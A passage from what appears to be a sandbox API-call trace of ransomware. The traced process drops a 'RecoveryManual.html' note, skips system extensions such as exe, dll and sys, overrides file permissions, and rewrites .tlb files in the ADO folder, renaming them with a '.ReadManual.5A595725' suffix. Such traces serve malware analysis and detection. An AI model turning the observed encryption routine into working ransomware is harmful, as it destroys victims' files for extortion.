files\\system\\ado\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0250.115] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0250.115] CloseHandle (hObject=0x184) returned 1 [0250.116] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0250.116] FindClose (in: hFindFile=0x6bff00 | out: hFindFile=0x6bff00) returned 1 [0250.116] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0250.116] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msader15.dll" | out: lpString1="msader15.dll") returned="msader15.dll" [0250.116] lstrcmpiW (lpString1="msader15.dll", lpString2="RecoveryManual.html") returned -1 [0250.116] StrStrIW (lpFirst="msader15.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.116] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.116] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.116] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\" [0250.116] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\RecoveryManual.html" [0250.116] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\ado\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.117] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.117] CloseHandle (hObject=0x194) returned 1 [0250.118] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0250.118] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado15.dll" | out: lpString1="msado15.dll") returned="msado15.dll" [0250.118] lstrcmpiW (lpString1="msado15.dll", lpString2="RecoveryManual.html") returned -1 [0250.118] StrStrIW (lpFirst="msado15.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.118] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.118] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.118] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0250.118] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado20.tlb" | out: lpString1="msado20.tlb") returned="msado20.tlb" [0250.118] lstrcmpiW (lpString1="msado20.tlb", lpString2="RecoveryManual.html") returned -1 [0250.118] StrStrIW (lpFirst="msado20.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.118] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.118] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.118] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.118] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.118] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" [0250.118] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.ReadManual.5A595725" [0250.118] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.ReadManual.5A595725") returned 76 [0250.118] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37078713746) returned 1 [0250.118] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0250.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.119] GetLastError () returned 0x5 [0250.119] GetNamedSecurityInfoW () returned 0x0 [0250.120] SetNamedSecurityInfoW () returned 0x0 [0250.120] SetNamedSecurityInfoW () returned 0x0 [0250.121] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.121] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=69632) returned 1 [0250.121] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11000, lpName=0x0) returned 0x184 [0250.121] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa8) returned 1 [0250.121] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.122] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.122] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.122] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11000) returned 0x1de0000 [0250.125] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.125] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37079408687) returned 1 [0250.125] CloseHandle (hObject=0x184) returned 1 [0250.125] SetSecurityInfo () returned 0x5 [0250.125] SetSecurityInfo () returned 0x5 [0250.126] LocalFree (hMem=0x674d38) returned 0x0 [0250.126] CloseHandle (hObject=0x194) returned 1 [0250.126] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0250.126] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado21.tlb" | out: lpString1="msado21.tlb") returned="msado21.tlb" [0250.126] lstrcmpiW (lpString1="msado21.tlb", lpString2="RecoveryManual.html") returned -1 [0250.126] StrStrIW (lpFirst="msado21.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.126] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.126] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.126] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.126] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.126] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" [0250.126] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.ReadManual.5A595725" [0250.126] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.ReadManual.5A595725") returned 76 [0250.126] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37079507676) returned 1 [0250.126] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0250.127] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.127] GetLastError () returned 0x5 [0250.127] GetNamedSecurityInfoW () returned 0x0 [0250.127] SetNamedSecurityInfoW () returned 0x0 [0250.127] SetNamedSecurityInfoW () returned 0x0 [0250.128] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.128] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=73728) returned 1 [0250.128] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12000, lpName=0x0) returned 0x184 [0250.128] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa8) returned 1 [0250.128] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.128] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.129] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.129] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12000) returned 0x1de0000 [0250.131] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37080049934) returned 1 [0250.132] CloseHandle (hObject=0x184) returned 1 [0250.132] SetSecurityInfo () returned 0x5 [0250.132] SetSecurityInfo () returned 0x5 [0250.132] LocalFree (hMem=0x674d38) returned 0x0 [0250.132] CloseHandle (hObject=0x194) returned 1 [0250.132] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0250.132] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado25.tlb" | out: lpString1="msado25.tlb") returned="msado25.tlb" [0250.132] lstrcmpiW (lpString1="msado25.tlb", lpString2="RecoveryManual.html") returned -1 [0250.132] StrStrIW (lpFirst="msado25.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.132] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.132] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.133] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.133] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.133] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.133] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" [0250.133] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.ReadManual.5A595725" [0250.133] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.ReadManual.5A595725") returned 76 [0250.133] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37080147081) returned 1 [0250.133] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0250.133] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.133] GetLastError () returned 0x5 [0250.133] GetNamedSecurityInfoW () returned 0x0 [0250.133] SetNamedSecurityInfoW () returned 0x0 [0250.133] SetNamedSecurityInfoW () returned 0x0 [0250.134] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.134] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=94208) returned 1 [0250.134] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17000, lpName=0x0) returned 0x184 [0250.134] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa8) returned 1 [0250.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.135] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.135] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.136] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17000) returned 0x1de0000 [0250.138] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.139] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37080762985) returned 1 [0250.139] CloseHandle (hObject=0x184) returned 1 [0250.139] SetSecurityInfo () returned 0x5 [0250.139] SetSecurityInfo () returned 0x5 [0250.139] LocalFree (hMem=0x674d38) returned 0x0 [0250.139] CloseHandle (hObject=0x194) returned 1 [0250.139] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0250.139] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado26.tlb" | out: lpString1="msado26.tlb") returned="msado26.tlb" [0250.139] lstrcmpiW (lpString1="msado26.tlb", lpString2="RecoveryManual.html") returned -1 [0250.139] StrStrIW (lpFirst="msado26.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.139] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.139] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.139] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.139] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.139] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.139] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.139] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.140] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.140] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.140] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.140] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.140] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.140] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.140] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.140] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" [0250.140] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.ReadManual.5A595725" [0250.140] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.ReadManual.5A595725") returned 76 [0250.140] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37080859129) returned 1 [0250.140] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0250.141] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.141] GetLastError () returned 0x5 [0250.141] GetNamedSecurityInfoW () returned 0x0 [0250.141] SetNamedSecurityInfoW () returned 0x0 [0250.141] SetNamedSecurityInfoW () returned 0x0 [0250.142] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.142] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=98304) returned 1 [0250.142] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18000, lpName=0x0) returned 0x184 [0250.142] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa8) returned 1 [0250.142] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.143] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.143] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.144] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18000) returned 0x1de0000 [0250.146] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.146] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37081496037) returned 1 [0250.146] CloseHandle (hObject=0x184) returned 1 [0250.146] SetSecurityInfo () returned 0x5 [0250.146] SetSecurityInfo () returned 0x5 [0250.146] LocalFree (hMem=0x674d38) returned 0x0 [0250.146] CloseHandle (hObject=0x194) returned 1 [0250.147] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0250.147] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado27.tlb" | out: lpString1="msado27.tlb") returned="msado27.tlb" [0250.147] lstrcmpiW (lpString1="msado27.tlb", lpString2="RecoveryManual.html") returned -1 [0250.147] StrStrIW (lpFirst="msado27.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.147] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.147] StrCmpIW (psz1="tlb", 